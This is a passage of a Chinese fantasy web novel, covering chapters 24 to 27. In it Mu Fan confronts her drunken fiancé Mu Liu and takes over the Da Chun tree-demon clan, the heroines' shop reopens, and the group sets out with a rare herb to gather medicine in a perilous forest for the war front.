“果然是木流又在发疯了。”木繁慵懒地在院中的石桌旁坐下,似乎已经对这种事见怪不怪了,“这大椿族交到他手上呀,完蛋喽。”
方才开门的男子终于穿好了衣服,十分贤惠地给几人煮茶倒茶,忙前忙后。
木繁满意地摸了摸他的脸,毫不避讳。
“既然你已经有了心上人,木流也并非良人,你为何不与他解除婚约呢?”张辞晚问出了古青言的心声。
木繁挠了挠身边人的下巴,漫不经心:“阿玉不是大椿族人。”
古青言反应了一下,猜测“阿玉”应该就是木繁身边这位。
“所以呢?”她没忍住问。
木繁看几个人都没听懂的样子,露出一个“好笨哦”的表情:“你们可知,我大椿族这千百年来屹立不倒,发展到如此繁荣的今天,靠的是什么?”
古青言和甄青竹不明所以,张辞晚却听族老说过答案:“寿命?”
“对喽!”木繁赞许地看了张辞晚一眼:“我大椿族寿命极长,靠活得久熬死了一个又一个的敌人,对手。”
难道木繁打算把古玎熬死再与木流成婚?古青言思绪乱飞。
“越是古老的族群。就越有一些常人难以理解的规矩。”木繁没什么表情,既不赞许也无怨怼,“大椿族人若是与外族结合,诞育的子嗣寿命便会大打折扣。这样的孩子是不被大椿族所承认的。”
“所以,大椿族从不与外族通婚。”
“普通族人尚且如此,又何况是我与木流这样出生在权力漩涡中,肩负族群未来的继承人呢?”
古青言恍然大悟。
“反正爱上了外族人,今生注定无法与相爱之人缔结良缘,死生契阔。那木流不喜欢我,我也不喜欢木流,我们俩各过各的,岂不是对我最好的结局?”
三人都被问住了。木繁的说法虽然与世俗不相符,与礼教规矩更是背道而驰,但是她们莫名觉得十分有道理。
“若你真是这般想的,又为何要帮助小姨逃离木流呢?”古青言不明白。
木繁又露出一个“你好笨哦”的表情:“婚外情这种事啊,讲究一个你情我愿。”
24. 斥醉鬼响亮耳光,大椿族权柄交替……
“一来呢,婚内的两个人需得都能接受对方与他人厮混。这点我与木流倒是十分符合。”
“二来呢,婚外的两个人也得愿意做个无名无分的外室。”
“我的阿玉愿意,可是玎姐姐不愿意啊。我自然不能坐视无辜的女子因我们两个失败的婚姻而搭上自己的自由。”木繁自认是一个极有原则的人。
古青言三人相顾无言。
三个为经历过情爱的姑娘其实是不大能理解木繁的想法的,从小接受的礼教只告诉她们要相爱相守,要忠贞不渝。
但木繁这套逻辑自成体系,无从辩驳。
古青言和张辞晚在思考,甄青竹却决定不管那么多。多少爱恨情仇,无奈心酸那都是他们四个人的事情,眼下还是先解决自己的事比较重要:“那您就好人做到底,叫木流不要再针对我们铺子了好不好?”
甄青竹眼巴巴地扒住木繁:“我一见您,便觉得合眼缘,您定是一棵人美心善好树。”
对上她的眼睛,木繁“噗嗤”一笑,站起身来拢了拢衣裳:“也罢,左右不是什么难事,我就陪你们走一遭吧。等回去了,也替我向玎姐姐问个好。我与她虽然隔了木流这档子糟心事,但我还是很喜欢她的。”
甄青竹露出惊喜和感激的表情:“您人真好啊。”
阿玉留在院子里,古青言三人跟着木繁又一路回到了木流的住处。
木泥站在门口,远远地看见木繁往这边来就急急忙忙往里面跑,被门槛绊了一下险些跌了一跤:“族长,族长,快起来,木繁姑娘来了。”
门口其他几个守卫过来想拦:“夫人,请容我们通报一声。”
“别叫我夫人,还没成婚呢,恶心得紧。”木繁一把将人挥开。未来族长夫人的身份摆在这,那几人也不敢硬拦。
木繁几乎是畅通无阻地带着三人一路越过正堂,进了里屋。
古青言在门口犹豫了一下,觉得直接这般闯男子寝屋不大好,但见甄青竹两人已经跟着木繁直挺挺闯了进去,还是跟在了后面。
一进屋,酒臭气扑鼻而来,熏得古青言有些反胃,捏了个诀封住鼻腔,这才好些。转头看见甄青竹和张辞晚也嫌弃地捂着鼻子,而木繁早有预判,在进门前就用布巾捂住了口鼻。
木流醉醺醺地倒在酒坛堆里,就古青言几人去见木繁的这片刻功夫,他又喝了好几坛酒。
木泥在一边着急地拽他,却怎么也拽不起来。见木繁已经进来,只好放弃替自家主子挣扎,恭恭敬敬向木繁行了个礼。
“木流。”木繁叫他,声音没什么起伏。
听见木繁的声音,木流把脑袋从酒坛子中拔出来,迷迷糊糊地看向她,好半天才看清楚人。
他吓得一激灵,好似看见了什么恶鬼,“噌”地从地上爬起来,又差点摔倒,被木泥扶着才堪堪站稳。
他晃了晃头,眼神清明几分,朝木繁走来:“你不待在自己院子里跟你的宝贝玉郎厮混,跑到我这里来做什么?”
“啪”,一个响亮的耳光。
古青言三人瞪大眼睛看向木繁,随即眼中不约而同地露出钦佩。
木流完好的那一边脸迅速红肿起来。这一掌也是带着灵力打的。
木繁对比了一下木流另一边脸上的巴掌印,觉得自己的掌力还是远远比不上玎姐姐。嗯,还是得勤加练习。
“啪”,她又补了一下,这才满意地笑了:“不错,这样才对称。”
木流本就醉得不轻,两掌下来更是被打懵了,愣在原地半天回不过神。
木泥赶紧上去护住自己主子。
“繁姑娘你这是做什么?”木泥看了一眼旁边的甄青竹三人,“你怎么能为了几个外人这么打族长呢?”
木繁没有理会这个狗腿子,捏起木流的下巴欣赏了一下自己的杰作:“说实话,其实我对你是没有任何怨气的。你有你的心头好,我有我的枕边人,公平得很。”
话锋一转。
“但今日我赏你这两巴掌,那都是替玎姐姐打的。人家不愿意你了,你还纠缠不休已经是无耻之极,如今竟还欺负到小辈头上!”
“你看看你如今,哪里有半点一族之长的样子?你对得起先族长的在天之灵吗?”
听到先族长,一直浑浑噩噩的木流却突然红了眼眶,挣脱木繁的钳制和木泥的搀扶,大吼道:“若不是为了对得起他,我现在已经跟玎儿远走高飞了!”
木流踉跄几步:“你以为我想做这个族长吗?大椿族的寿命何其漫长,若不是父亲死在了战场上,他就可以千年百年地坐在这个族长之位上。他可以有很多新的孩子,新的继承人。”
“我就可以跟玎儿远走高飞了......”木流崩溃地蹲下来。
木繁居高临下地看着他,并不同情:“之前那么多年,你早干什么去了?跟我订婚的时候你干什么去了?”
木流没有回答她的问题,自顾自地说着:“我当时已经准备去找玎儿了。我自愿放弃少主人的身份,跟她远走高飞,从此浪迹天涯,我们就可以长相厮守,白头到老。我再也不是大椿族人。”
“可是,可是他们突然告诉我。”木流泣不成声,“突然告诉我说,父亲战死了。”
“我不知道我是怎么继承族长之位的,我不知道我是怎么赶到边境战场的。”
“我不想做这个族长,我真的不想......”他把头埋在臂膀里,就好像小时候父亲抱住他那样。
木繁却残忍地将他拉出麻痹自己的虚幻梦网中,拎着他的领子迫使他站起来:“你自幼,锦衣玉食,受着整个大椿族,甚至是木族,植妖族的供养。是千千万万个植妖族子民,才让你无忧无虑,长到如今这个地步,有如今这一身的修为。”
“无论先族长在或不在,你都必须承担起自己的责任,你没有资格逃避。”
“没有人能为所欲为,得偿所愿。没有人。”
“我也一样。”
木繁淡淡地说完最后一句,将木流重新扔回
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地上,转身离去。
“我会依照先族长的遗命,跟你孕育一个新的继承人,他会是我大椿族新的族长。”
“而你,太不堪了。”
见木繁走了,甄青竹和张辞晚也跟着跑出去。
古青言看着蜷缩在地上的木流,帮木泥一起把他扶起来。看着他颓唐的样子,她本不是多管闲事的人,但想了想还是多说了一句:“你本也是战争的受害者。”
“你的剑尖应该指向挑起祸事的人,而不是在这里做一些无谓的事情。”
甄青竹跟着木繁跑到正堂,追上她:“我们就这样走了吗?木流会放过甄古府吗?”
木繁翻找桌案,拿起一块印信握在手中,平静地说:“那不重要了。”
“从今以后,大椿族,我说了算。”
甄青竹抬头看她,觉得自己从今日起多了一个表率。
大椿族内部实际掌权人的悄然易主并没有在外界掀起任何波澜。
春枝镇上的人只知道,大椿族向甄古府订购了千匹云锦,还送来一大批上好的木料,帮助甄古府修缮被损毁的店面,用具。
这是大椿族主动求和的意思。
大家不禁对甄古府的人多了几分赞叹。大椿族人向来心高气傲,能让大椿族主动低头,甄古府手段了得啊。
甄古府门前渐渐重新有了前来探看的客人,只可惜店内尚未修缮好,一时还未能重新开业。
陌玉给的药效果比想象中的还要好,木佩在他们再次开业前就出了关。
古青言跟着睿安一起去共枕树族探望他。
木佩看上去气色好多了,不再两步一喘,三步一咳。见他们来,笑着相迎:“还未郑重谢过姑娘给的药,救我一命,实乃大恩。”
古青言拦住他的大礼,摇摇头:“这药并不能使你痊愈,算不得救了你性命。”
“能叫我像正常人一般多活几年,已经很好了。”木佩坚持谢过,连木思也老老实实地跟着见礼。
“我听木兮说你们被大椿族为难,还砸了铺子。”木佩面露愧色,“真是惭愧,我受了姑娘大恩,如此大事却反而错过了,没能帮上忙。”
“无妨的,好在事情已经顺利解决了。”古青言宽慰道。
几人又就大椿族之事说了几句。
“说起来,大椿族的木繁姑娘确实是个妙人。”木佩笑道,“但她身边那位玉郎君也不差。”
古青言好奇地看向他,但没好意思问出来,怕显得自己太不稳重。
“此话怎讲?”睿安替她问了。
“先大椿族长之所以选她做木流的妻子,是因为木繁姑娘的祖母和母亲接连突破的大椿族的寿命极限。”
“可是木繁姑娘已有心上人,说什么也不愿意。先族长和各位族老轮番上阵,苦苦劝说,这姑娘都不同意,跟族里闹的天翻地覆的。最后你们猜怎么着?”木佩故意卖了个关子。
“跟玉郎君有关?”古青言成功被勾起了好奇心,问道。
25. 大椿树妖(五)
“正是。”木佩敲了下桌案,“正是因为玉郎君。”
木佩在古青言期待的眼神下继续说:“木繁本来都收拾好细软准备跟玉郎君私奔了。是玉郎君拦下了她。”
阿玉拉着急躁的木繁坐下来,向往日里那样伏在她的膝边安抚她:“这世上有很多跟爱情一样重要,甚至是更重要的东西。”
“我已经没有族人了,我希望你有。”
古青言想起那日那个在一方小院中,将“温柔贤淑”这四个字演绎到淋漓尽致的男子。很难想象他会说出这样的话。
“玉郎君是哪一族人?”她问。
“好像是......莲族吧。”木佩随口答道。玉郎君是木繁少时从战场上带回来的,木族人都不大清楚他的来历。
最开始那些年玉郎君只是偶尔会来春枝镇与木繁相会。但后来有一年,他走了很久都没有回来。木繁出去寻他,将他带了回来。从此他就再也没有离开过,一直待在木繁身边。
古青言点点头。
灼灼荷花端,亭亭出水中。
倒也正相符。
“好了,没想到你们两个也有这么好论是非的时候。”睿安止住话题,挨个点了一下古青言和木佩。
木佩悻悻笑笑,古青言闭嘴不说话了。
她才没有好论是非。
睿安见好友身体康健,都能谈论闲话了,心情十分舒畅,调笑道:“过几日重新开业,这次你身子大好,可得带着木思亲自来捧场才算义气。”
“一定。”木佩应下。
铺子重新修缮好后,甄青竹重新举办了一场盛大的开业典礼。一时间甄古府门前人潮涌动,宾客往来络绎不绝。有木佩和木繁带着木妖两大族前来捧场,人们更加热切,竟比先前那次还要热闹几分。
甄青竹和张辞晚照旧迎宾待客,古青言照旧钻在柜台里躲懒。
睿安这次倒是来了,但是没有在前面待客,而是躲在里间以备不时之需。
“木檀行首到——”万贯被木泥打伤的地方已经大好了,这一声中气十足。
鹤发斑驳的老爷子走进来,步履气阔,瞧着身子骨十分硬朗:“今日物妖族远道而来的朋友在此开业,给咱们春枝镇带来了这么好的绸缎料子,老爷子我呀也来凑凑热闹。”
“老人家腿脚慢,来得迟了,先给甄小友陪个不是。”
木檀行首在春枝镇威望极高,众人见他对甄古府这样亲和的态度,顿时对甄古府又高看了几分。
甄青竹赶紧迎了上去,搀住老爷子:“爷爷这是什么话,您就跟青竹的亲祖父一般。您来我们铺子里,那就跟回家是一样的,什么时候都来得。”
“哟哟哟。”老爷子高兴极了,“就属你这小妮子嘴甜。”
他拉着甄青竹悄悄说:“上次我收拾不在,竟叫你们吃了那么大的亏。今日你放心,爷爷在这,没人敢来闹事。”
甄青竹感激地点点头,眼中露出孺慕之情。
老爷子看向店内店外的众人,语重心长:“前线那些事儿太远,我老人家管不着。但在春枝镇,物妖族的安大人对咱们可是有大恩的。”
听到檀老爷子提起这个名字,木佩笑容顿住,往里间瞟了一眼。
老爷子没有注意,继续道。
“咱们植妖族与动妖族决裂多年,土地少了肥力,环境也被战事糟践得不成样子。咱们树妖根深叶茂,对土壤的要求最是苛刻。这些年来,繁衍越来越艰难,种子难以成活。”
“是物妖族的安大人,当年啊受了物妖族陛下的委命,去前线劝和,途径咱们春枝镇。”
老爷子浑浊的眼中浮现追忆,隐有泪花浮现。
“那时候春枝镇哪有现在的繁华景象啊。大地黯淡灰白,干裂纵横,满地枯叶烂枝。那些孩子们,小小的那么一团,就那么合了眼,再没睁开过。还活着的,也不剩几口气了。”
“安大人来了,不顾来接应的督官催促,在我们春枝镇逗留数日。勘探地形,搜索灵脉,又是自掏腰包买来灵材,又是耗费修为,在整个春枝镇上,布下一座弥天大阵。”
“靠着这座阵法,春枝镇才渐渐恢复了生机。这些年来,大家的幼崽才能好好的或者。”
老爷子俯身摸了摸身前一个小姑娘的头,十分欣慰。
“安大人对咱们春枝镇有如此大恩,如今他物妖族的同胞来到这里,咱们该不该好好看顾?”
“该!”知道这桩旧事的木妖被老爷子一番话说的心情激荡,不知道此事的年轻小妖心中也十分触动。
那座宏伟的法阵就在春枝镇的城墙边上,人人路过都看得见,绝不是檀老爷子空口白话。
场间买卖登时更加火热,柜台上的算盘珠子噼里啪啦,打出了残影。
古青言看到里间一晃而过的一片衣角,起身追了过去。
果不其然,逮住了偷听墙角的睿安。
“前头人人歌颂的救世主,怎么躲在这里听墙角呢?被夸得害羞了?”
睿安埋着头,神色几番变化,垂着的睫羽遮挡了眼中复杂的神思:“我可不是什么救世主。”
否认了一句,就再也不说话了。
古青言知道他为什么躲着不见人,先前那样说也不过是想通过调笑的方式叫他轻松一些。但她似乎太笨了,没起什么效果。
她不知道该怎么安慰他,至今也不知道这人身上到底发生了什么。
走到睿安身旁坐下,古青言快速在心中打了好几个安慰人的腹稿,最后又一一否决。
最后她拿出一个帕子捂到睿安的俊脸上:“你擦眼泪吧,我不会笑话你的。”
心中刚刚因为檀老爷子的一番话而翻涌的情绪被古青言一掌拍碎,睿安接住从脸上滑下来的帕子,有些无语地看着她。
古青言理直气壮地回望,但看到眉宇间郁色还未完全散去的美人,很快败下阵来。
真好看啊。
“你的真身是什么?”她鬼使神差地问了出来。
睿安有些惊讶,一时没有回话。
在妖界,直接问人家真身是极为不礼
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貌的,跟直接问人家里衣穿的什么颜色也没什么分别。
古青言后知后觉地反应过来,脸色爆红:“我不是这个意思。”
感觉无法狡辩,古青言心中暗骂美色误人,站起来就想溜:“前头还在忙,我得去帮忙了。”
睿安看她这样子有些好笑,趁她还没溜出去回答道:“玉石。”
古青言愣了几息才反应过来自己竟然听到了答案,有些意外睿安竟然也是石族。
玉石?古青言思维发散。
她最喜欢玉石了。当初胜任三品时本来想选玉殿的,但是没抢过玉殿的温司玉。
古青言转过身,发现睿安在笑她,心中十分气恼。
她看这人心情不佳,好心过来安慰,不过是一时口误罢了,这人当做没听到不行吗,怎么还要笑她?
她走回去,站在睿安面前,光明正大,居高临下,从头到尾地打量他。
睿安被她盯得都有些不好意思了。
欣赏够了,她缓缓开口:“你要是哪天没了,我一定叫人把你打磨成世上最好看的石头。比玉殿的那些石头都要好看。”
睿安:……?
甄古府的生意经过最初几天的火热,渐渐平稳了下来。
经过层层选拔,甄青竹在春枝镇招募了一批纺织工人。待新一批云丝从天山上运下来后,一行人终于可以再度启程,前往下一站——植妖族王都,神炎城。
这日古青言跟睿安在春枝镇城郊修补法阵。
当初前线战事紧急,睿安被催的紧,故而这座法阵布得十分匆忙,有许多细节刻画不到位。如今左右无事,便想着修补一番,也算是不枉春枝镇百姓对他的爱戴。
古青言在旁边帮他拿着布阵的材料,是不是递给睿安一些,并趁他不注意悄悄将一些材料换成品质更好的。
睿安掂了掂手中的东西,回头看了古青言一眼,对上她无辜的眸子。
转身继续画阵符,嘴角却悄悄勾起。
一声清亮的鸣叫打破林间的寂静,用灵力化成的鸟儿从他们头顶略过,向城中飞去。
是古青舟的灵力波动。
古青言与睿安对视一眼,两人一同追了上去。
回到客栈,甄青竹把古青舟的来信递给两人看。
“吾妹青竹:
见信如晤,展信舒颜。
愚兄日前奉领皇命,携使团往动植妖边境斡旋,欲使干戈止息。途经木族,闻妹所营诸事皆顺遂昌荣,再拓版图,余心甚喜。妹之聪敏卓然,足为家门之荣。然使命艰巨,兄虽念妹心切,仍不敢停留,愿妹恕兄无能相见之过。待来日功成归家,再与妹把酒相见。
兄至边境,见环境恶劣,物资匮乏,黎民困苦。若不得解,恐生大乱。妹于商界资源广进,又于木族有大椿之医药圣地。兄殷切期盼妹能携各类物资发往边境,以济燃眉。兄感激之至,非书信得以言表。
烦妹代兄问青言与隐怀安好。兄于边境翘首以盼与诸位相见。
愿妹起居无恙,一路顺遂。”
26. 百年艾(一)
边境所缺物资,无非粮草,衣物,药材此类。
粮草他们没有,衣物倒是不缺,至于药材……
甄青竹和古青言再次拜访了木繁。
如今木繁对木流彻底不抱希望,接受了大椿族事务,忙的不可开交。听到她们的来意,头也不抬:“边境开战以来,族中大部分药材都送到边境去了剩下的这点还要供春枝镇用哪里还有余药给你们?”
大椿族的药都已经运到边境了,竟然还是不够吗?古青言有些心惊。
甄青竹不死心:“那您知不知道还有哪里能弄到打量的药材?神炎城可行?”
“如今身逢乱世,药材这种救命的东西在哪里都是紧缺的。”木繁冷哼一声,“神炎城?哼,从王都那些贵族手里扣东西,怎么可能?”
听了这话,古青言心下失望。往边境的路可不好走,好不容易去一趟,若是只带了些衣物,未免徒劳。
但再不甘心,巧妇难为无米之炊,两人只得告辞欲走。
忽然,木繁似是想起了什么,叫住了他们:“倒是有一个地方,只是要看你们有没有胆子去。”
木族北部,有一片密林,名为本草森林。繁茂的枝叶使得这片地区错综复杂,难见天日也就罢了,还常年被浓重的雾气笼罩,使人更加难以辨别方向。不仅如此,林中还有魑魅魍魉出没,夺命于无形。
尽管已经有无数人埋葬在这座森林中,仍然有前仆后继的人对此地趋之若骜。
原因无他,越危险的地方,就越藏着宝藏。这边密林中,传说生长着大量的灵材宝药,品质极佳,不乏一些有价无市的奇珍异宝。
之所以是传说,是因为木繁也没有去过。大椿族本就是药材富裕之地,不需要以身涉险。
“只是个虚无缥缈的传说,谁知道里面到底有什么东西?”甄青竹觉得十分不靠谱。
木繁老神在在:“宝贝肯定是有的。如今大椿族内种植的好些珍贵药材,最初就是先辈们从本草森林里带出来的。我们大椿族能发家,这个地方功不可没。”
见古青言的表情似乎有些意动,木繁在桌案下摆弄几下,拿出一个巴掌大的木匣,递给古青言。
古青言接过来,推开匣子。椭圆的叶片静静地躺在匣中,只有覆盖其上的灰白薄霜显现出不同。
“此草名百年艾,生长在本草森林外围,百年只长一片叶子,十分难得,故名百年艾。”木繁解释道,“将这草含在口中,可以看透地面,找到本草森林中埋藏的珍宝。”
“当初我家先祖就是凭借此物才能在本草森林中寻得众宝,全身而退。”
“还有这等好东西?”甄青竹一听也来了兴致,凑上来一看究竟,然后拉住木繁,“好姐姐,你再多给我们一些吧。”
木繁一把将她拨开,脸上却不见恼意,反倒是被她逗笑:“死丫头,我与你小姨道姐妹,你倒是为了一片草给我降了辈分。”
甄青竹笑容不改,还要缠她:“你这么年轻漂亮,想必也不会年长我们太多,若是从了小姨的辈分,岂不是叫老了?”
古玎是古珺的幼妹,其实是大不了古青言她们几岁的。若不是有木流这层弯弯绕绕的关系,着实是没有必要把木繁作长辈的。
“油嘴滑舌。”木繁笑骂,心里却是受用的,“你拍我的马屁没有用,这百年艾我也只有这一片。”
甄青竹瞬间失望,遗憾地看着那唯一一片百年艾,仿佛错失了万两黄金。
古青言收下了百年艾,向木繁道过谢:“此物珍贵,但我们确实需要,便却之不恭了。来日,青言定当加倍偿还。”
木繁毫不在意地摆摆手:“这东西在我族珍藏了千年,也没再用上,你拿去吧。”
回到客栈,甄青竹吩咐下去,决定明日启程去边境战场。众人忙碌起来,从库中调出大批衣物布匹装箱。
张辞晚也与大椿族族老道了别,在老人家依依不舍,痛惜万分的目光中离开大椿族,回到了商队。
待到春枝镇完全被夜色覆盖,甄青竹才终于忙完,口干舌燥地端起桌上古青言倒好的茶水一口饮尽。喝下肚才发现茶水是凉的,倒下已有多时了:“言言,你倒了水怎么不喝呀?”
一回头,看到古青言一个人坐在那,正盯着个木匣子发呆。
甄青竹走进了瞧,正是装着百年艾的匣子:“言言,你不会真想去那劳什子的本草森林吧?”
古青言被突然出现在身后的声音吓了一跳,抬头看她:“我们不去吗?”
甄青竹觉得古青言脑子坏掉了:“你没听木繁说吗?那地方多危险啊!多少人进去就再也出不来了。”
“我知道很危险。”古青言抿抿唇,她也一直在为此犹豫。商队里大多是修为不高的普通妖,跟着进去定然不妥,不能叫他们涉险。只是边境战事惨烈,若是真能找到一批高品质的药材,定能救下不少人的性命。
“边境百姓的命是命,咱们的命更是命啊。”甄青竹嗓门大,把睿安跟张辞晚都吸引过来了。
“怎么了这是?”张辞晚有些担忧,她还从未见过甄青竹跟古青言起冲突。
甄青竹见两人过来,意识到自己声音有些大,坐到古青言身前把声音放缓:“言言,二哥叫咱们送物资,咱们把自己的衣物送去,帮着二哥交代了差事,咱们也算尽了一份心力。没必要再为了药材把自己搭进去呀。”
古青言点点头:“是不能把自己搭进去。”
见她听进去了自己的话,甄青竹送了一口气。言言从小就轴,真怕她脑子转不过啦,还要因为二哥哥一句话就兢兢业业地冒险寻药去。
一口气还没完全吐出去,就又听到古青言说:“左右我们也要路过本草森林,不若届时你们先行,我自己进去一趟。”
虽然她一个人能采摘的药材有限,但是多带出来一株,说不定就能多救一个呢?
至于危险,她好歹是飞升了的神官,不至于迷失在妖界一个小小的森林里......吧?
“嘶。”甄青竹头疼,身子后仰作晕倒状,被张辞晚托住。她一把握住张辞晚的手:“你快去劝劝她。当初可是言言把你救活的,你不能眼睁睁地看着她送死吧?”
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张辞晚张了张嘴,看看这个又看看那个,不知道该站哪边。
这个指望不上,甄青竹又看向睿安:“安大哥,你帮我劝劝她。”
睿安看了不知所措的古青言一眼,道:“我陪你去。”
然后成功收到了甄青竹不可置信的表情。
古青言也有些意外会有人站在自己这边,但又觉得是睿安的话也不算太意外。
“我也去。”张辞晚没犹豫太久。
她看着古青言,若不是阿言事事较真的性子,她只怕要被永远当做鬼怪,被自己的父亲亲手处死了。如今她因祸得福,因为这具神农木锻造的身躯而得到大椿族族老的看重,习得医药之术。
这次,说不定能帮上大家的忙呢?
甄青竹白眼一翻,从凳子上滑了下去。古青言赶紧扶她,反被她拽得站不稳。甄青竹趁势双手环住她的脖子,整个人的重量都压了上去,大声哀嚎:“好嘛好嘛,你们三个孤立我,我跟你们一起去就是了。”
古青言被她拽得狼狈不已,竭力把脑袋往后伸远一点,试图拯救自己的耳朵。
两个人好不容易从地上爬起来,甄青竹已经整理好了情绪,黏黏糊糊地抱着古青言的胳膊,扬着大大的笑脸看她:“我怎么可能让你一个人去危险的地方呢?言言在哪我就在哪。”
本草森林其实与木族并不邻近,几人带着商队又走了一个多月,才终于看到了盘桓在眼前的脸面群山。
甄青竹面无变情,生无可恋:“我记得木繁说得是,“一片密林”?”
古青言也有些意外这“一片密林”的庞大,点了点头。
“这明明是好几座山啊啊啊啊。”甄青竹放声大喊,想让天地都知晓她此时的烦恼。
嘹亮的喊声不但惊起了山中鸟雀,还引来了路上行人的注目。
看着行人们看傻子一样的眼神,饶是甄青竹都觉得有些丢脸,从土丘上跳下来躲到古青言身后。
古青言不想让人知道自己认识她,决定让她自己面对世间的残酷,强硬地把她从身后揪了出来。
深感被自家姐妹嫌弃了的甄青竹悻悻收敛了嬉笑,打量起四周的环境:“怎么这么多人?木繁不是说这地方人迹罕至吗?不怕死的这么多?”
虽然一直有源源不断不怕死的人来到此地,但也不至于有这么多不怕死的同时出现吧?
难道植妖族如今已经药物紧缺到了这个地步?
不管怎样,既然已经到了此处,还是要找个歇脚的地方才是。
本以为这地方荒山野岭,大家大概只能自行搭建帐篷了。没想到走到山脚下,还真叫甄青竹瞧见几间客栈。虽然看起来十分简陋,像是匆匆新修的。
选了一间看起来最不漏风了,放下行李,甄青竹跑到柜台前要酒菜,睿安和张辞晚疲累地找了张桌子坐下。
古青言本也准备过去坐,余光瞥见柜台旁的货架。她瞪大了眼睛,几步走过去:“掌柜的,这是什么?”
三四个大型货架上,竟然摆满了百年艾,与木繁所说珍惜无比的神草一般无二!
27. 百年艾(二)
“百年艾啊。”掌柜习以为常,“几位不是为了这东西来的吗?”
睿安三人也被“百年艾”三个字吸引了过来。
之前木繁给的那片被古青言给了四人中修为最低的张辞晚。她拿出自己那片,与货架上的对比。
确实一模一样。
“木繁不是说这东西很稀有,连大椿族也只有一片吗?这里怎么会有这么多?”甄青竹大脑空白,像是被万两黄金砸中了一般。
“本来的确是很稀有的,百年才得一片。”掌柜见几人不知,热心肠地过来解释,“只是最近不知怎么了,本草森林外围一圈,漫山遍野的都是这东西。”
“大家本想着这东西泛滥了,是不是便没有原先趋吉避害的神异功效了。结果有胆大的采来一试,结果你们猜怎么着?”
古青言四人好奇的凑过脑袋来听。
掌柜指着窗外:“这么大一片森林,那人只用了不到三日就走出来了,还带了大量的珍贵药材。如今卖到药物紧缺的前线去,赚了一大笔银子,已经富甲一方,再也不用做这些铤而走险的事了。”
掌柜脸上满脸羡慕:“消息一传开,大家都蜂拥而至,往山里去。我呢,不认识什么药材,也没那个胆子深入森林,就只敢在外围采些百年艾,再在这简单修了个客栈接待闻声赶来的各路人马。”
“虽然赚的不多,但好在安稳嘛。”能趁这热闹捞上一笔,又不用冒险,掌柜还是很满意的。
甄青竹很给面子地竖起大拇指:“您是有大智慧的人。”
掌柜听得高兴,大手一挥就给他们抹了个零。
甄青竹啃着掌柜送的鸡腿,满嘴流油:“如今有了这么多百年艾,我们就可以带着整个商队进山了。届时带出来大把大把的天材地宝……”她想想就乐开了花,觉得有金山银海在向自己招手。
古青言却摇了摇头:“且不说这东西来的异常。山中凶险,有多少魑魅魍魉我们都是不知道的。商队众人修为太低,即便有百年艾在手也未必能够保全,还是留在外面更为稳妥。”
睿安和张辞晚也赞同地附和。
甄青竹美梦破碎,继续啃自己的大鸡腿。
第二日,安顿好商队众人,古青言四人进入了本草森林。
进入外围,所见所闻其实与普通的山林并没有什么分别,只是的确如客栈掌柜所说,生长着大片百年艾。
越往里走,光线更加昏暗,一股凉意渗透每个人的四肢,连睫毛都渐渐染上了冰霜,四人不得不在体内运转灵力抵御寒冷。如此一来,还未有深入森林,灵力先消耗了不少。
古青言从穹银袋中拿出几张驱寒符递给睿安三人,三人脸色这才好看些。
甄青竹冷得发颤,抖着手把符纂贴道身上:“真是奇了怪了,森林深处虽说是会冷一些,但也不至于如此严重啊。”
张辞晚环顾一圈,也附和道:“是很奇怪,我们是物妖,对温度的适应能力应当是三族中最高的。可是你们看这森林里的草木,郁郁葱葱,好似长在南边炎热之地似的。”
前路蜿蜒曲折,浸入漆黑无涯的深林,再看不到尽头。周围高大蔽日的树木连绵成群,相织相错,好似一口无底的深渊,只待人走进去,彻底吞噬。
面对无边的阴冷与孤寂,饶是已经见过一些世面的古青言心底也有些发怵。
她庆幸身边有伙伴陪着自己,又忐忑他们会因为自己的一意孤行而真的折身在这边无垠的森林里。
她看向自己的伙伴,竭力克服可能要孤身面对未知的恐惧:“这林子有古怪,要不然......你们还是趁现在退回去吧,太危险了。”
睿安笑看她一眼,走过去抽出古青言手上还未使用的驱寒符纂,轻轻贴到了她的背上。
然后右手转动,一支木色紫毫笔出现在他手中。笔尖毫毛无限延长,分成三股,像三根细细的长绳,牢牢绕上古青言三人的腰间。
他轻描淡写地将笔别在腰间:“林子太大了,别走散了。”
说完,越过古青言,径直朝森林深处走出。
甄青竹把腰间的绳系得更紧些,走过来挽住古青言的手臂:“走吧,来都来了。”
张辞晚也来到她身边,虽然什么都没说,但态度是很明确的。
古青言心下感动,握紧了腰间的穹银袋,暗暗发誓一定要把他们安然无恙地带出这片森林。
又往林中走了半日,林中聚起浓重的雾气,铺天盖日,遮蔽了视野。脚下木枝错横,已经没有路了,只能自己踩出一条新的路。
四人拿出百年艾,含在口中,惊奇地发现眼前雾气仍在,但是却再也不能影响他们的视线,眼前一片清明。
“你们看下面。”张辞晚惊呼一声。
脚下大地变得透明,交错纵横的枝叶草木再也不能给他们带来阻碍,埋藏在土中的蛇鼠虫蚁也无从遁形。
张辞晚有些嫌弃地拎起自己的裙摆,尽管与这些腌臜物还隔着一层厚厚的土壤,她还是有些难以忍受。
一只手抬了抬她的下巴,古青言笑着道:“别往下看。”
张辞晚尝试了一下,眼睛还是不住地往下瞟:“不行,全靠想象更可怕。”
收回抬着她下巴的手,古青言有些好笑,但是忍住了。她看得出张辞晚是真的害怕:“要不你把百年艾拿出来。我们牵着你也是一样的。”
“不行。”张辞晚却坚定的摇了摇头,“我们四个里,只有我认得药材。”
的确,古青言三人不通药理,若是张辞晚不能视物,他们采集药材的效率定会大打折扣。
古青言只好握住她的皓腕,试图让她安心一些。
四人继续前行。
看着眼前的浓雾,古青言不禁想到了之前在天山上的事情。忽然想到什么,她把阿金放了出来。
阿金的小爪子正捧着一小块金子啃得正香,被召出后一脸被打扰的不满。
“这是什么东西?”甄青竹凑过来看,看清阿金在啃什么东西后,惊呼一声就要去抢,“金子!”
阿金很凶地呲了呲牙,张口就要咬甄青竹伸过来的手指。
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古青言赶忙把甄青竹的手指抽了出来。阿金的牙齿可以啃食金银玉石,这一口下去可不是开玩笑的。
逃过一劫的甄青竹浑然不觉:“言言,你竟然用金子喂宠物!太奢侈了,太奢靡了!”
没能咬到人的小阿金重新回到古青言的手心,瞪起一双溜圆的小眼睛看向自己的主人。
作为主人的古青言读懂了它的不爽:“怎么了?又迷路了叫本大爷给你找路?不干!”
古青言被它的小表情逗笑:“这次不是让你带路了。是寻宝,你的老本行。”
阿金眼珠子滴溜溜地赚了几圈,有些质疑地看着古青言:“你终于良心发现,知道本大爷真正的用处啦?”
读懂意思的古青言一脸讨好地看着手里的小东西,小鸡啄米似的点头。
阿金一口吞下最后一点金子,高傲地把头一仰。
这回古青言没明白。
